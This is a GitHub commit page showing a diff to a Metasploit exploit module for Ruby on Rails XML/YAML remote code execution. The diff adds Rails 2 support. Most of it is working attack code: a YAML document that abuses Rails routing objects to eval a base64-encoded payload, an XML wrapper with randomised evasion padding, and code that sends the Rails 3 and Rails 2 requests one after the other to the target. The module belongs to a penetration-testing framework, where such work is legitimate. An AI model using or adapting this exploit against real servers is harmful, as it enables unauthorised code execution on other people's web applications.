Skip to content

Commit 42ea64c

Browse files
author
HD Moore
committed
Merge in Rails2 support now that its in master
1 parent bf013ba commit 42ea64c

File tree

1 file changed

+34
-9
lines changed

1 file changed

+34
-9
lines changed

modules/exploits/multi/http/rails_xml_yaml_code_exec.rb

Lines changed: 34 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -22,9 +22,7 @@ def initialize(info = {})
2222
an attacker to instantiate a remote object, which in turn can be used to execute
2323
any ruby code remotely in the context of the application.
2424
25-
This module has been tested across multiple versions of RoR 3.x, but does not yet
26-
work against 2.x versions of RoR.
27-
25+
This module has been tested across multiple versions of RoR 3.x and RoR 2.x
2826
},
2927
'Author' =>
3028
[
@@ -85,7 +83,25 @@ def detached_payload_stub(code)
8583
#
8684
# Create the YAML document that will be embedded into the XML
8785
#
88-
def build_yaml
86+
def build_yaml_rails2
87+
88+
# Embed the payload with the detached stub
89+
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
90+
yaml =
91+
"--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
92+
"'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
93+
"eval(%[#{code}].unpack(%[m0])[0]);' " +
94+
": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
95+
":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
96+
":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
97+
yaml
98+
end
99+
100+
101+
#
102+
# Create the YAML document that will be embedded into the XML
103+
#
104+
def build_yaml_rails3
89105

90106
# Embed the payload with the detached stub
91107
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
@@ -101,7 +117,7 @@ def build_yaml
101117
#
102118
# Create the XML wrapper with any desired evasion
103119
#
104-
def build_request
120+
def build_request(v)
105121
xml = ''
106122

107123
elo = Rex::Text.rand_text_alpha(rand(12)+4)
@@ -120,7 +136,7 @@ def build_request
120136

121137
el = Rex::Text.rand_text_alpha(rand(12)+4)
122138
xml << "<#{el} type='yaml'>"
123-
xml << build_yaml
139+
xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
124140
xml << "</#{el}>"
125141

126142
if datastore['XML::PadElement']
@@ -142,13 +158,22 @@ def build_request
142158
# Send the actual request
143159
#
144160
def exploit
145-
data = build_request
146-
print_status("Sending #{data.length} bytes to #{rhost}:#{rport}...")
161+
162+
print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
163+
res = send_request_cgi({
164+
'uri' => datastore['URIPATH'] || "/",
165+
'method' => datastore['HTTP_METHOD'],
166+
'ctype' => 'application/xml',
167+
'data' => build_request(3)
168+
}, 25)
169+
handler
170+
171+
print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
147172
res = send_request_cgi({
148173
'uri' => datastore['URIPATH'] || "/",
149174
'method' => datastore['HTTP_METHOD'],
150175
'ctype' => 'application/xml',
151-
'data' => data,
176+
'data' => build_request(2)
152177
}, 25)
153178
handler
154179
end

0 commit comments

Comments
 (0)